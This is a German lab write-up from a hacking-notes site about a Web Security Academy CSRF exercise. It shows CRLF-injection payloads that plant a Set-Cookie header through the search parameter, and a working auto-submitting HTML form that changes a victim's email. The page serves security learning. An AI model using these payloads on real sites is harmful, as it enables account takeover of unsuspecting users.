> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# CSRF mit Token, das an ein Cookie, aber nicht an die Sitzung gebunden ist

### CSRF, bei dem das Token an ein Nicht-Session-Cookie gebunden ist

Die Funktion zum Ändern der E-Mail ist anfällig für CSRF. Sie verwendet Chips, diese sind jedoch nicht vollständig in den Sitzungsmechanismus integriert. Bereitgestellte Konten: `wiener:peter` und `carlos:montoya`.

### Kernidee

* Es gibt ein `csrfKey` Cookie und ein `CSRF` Abfrageparameter für die Änderung der E-Mail. Beide Werte sind „synchronisiert“, aber **nicht sitzungsbezogen**.

<figure><img src="/files/1aba5e66a529a850f4a757ed9fbfe22bed22aa0b" alt=""><figcaption></figcaption></figure>

* Durch das Kopieren des Paars (`csrfKey`, `CSRF`) von einem Konto auf ein anderes kann man die E-Mail eines Opfers ändern **ohne** dass es mit seiner Sitzung verknüpft ist.
* Das Suchfeld speichert die letzte Suche in einem Sitzungscookie (`letzter searchTerm`).

<figure><img src="/files/a1cef3ac4b1187d03b1fd5a537b72838e1b0e365" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8561732b9f869223777e94932091ceb20d176ed4" alt=""><figcaption></figcaption></figure>

#### Technisch (CRLF-Injektion über Recherche)

* Man kann **Header injizieren** über die Suche injizieren, um den Browser dazu zu zwingen, ein beliebiges Cookie zu setzen.

Eine einfache Zeichenfolge wie `hello csrfKey=aZCI...` wird nicht interpretiert.

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="/files/5a836b5f5392c6cd2d036a5790f2f01a8b06c404" alt=""><figcaption></figcaption></figure>

Andererseits, mit **Wagenrücklauf + Zeilenvorschub** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="/files/923532bceed3d0f940bee076e60f3ce71dcc332d" alt=""><figcaption></figcaption></figure>

Funktionierendes Beispiel:

<figure><img src="/files/350a8ebec32ff9ed1e845b288948d0c8774ab798" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ interpretiert als ein **Set-Cookie** auf der Antwortseite.

<figure><img src="/files/42c13360c2c145b5ede69926617f2d7dd89b4175" alt=""><figcaption></figcaption></figure>

Für einen Cross-Site-Kontext geben Sie `SameSite=none` an, damit das Cookie die nächste Anfrage nach dem Exploit begleitet.

Beispiel (in der Adress-/Suchleiste):

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

hello
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### Gehosteter Operator

1. **Erzwingen** das `csrfKey` Cookie beim Opfer über eine Bildanfrage an die Suchseite zu setzen (die den Header umschreibt):

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
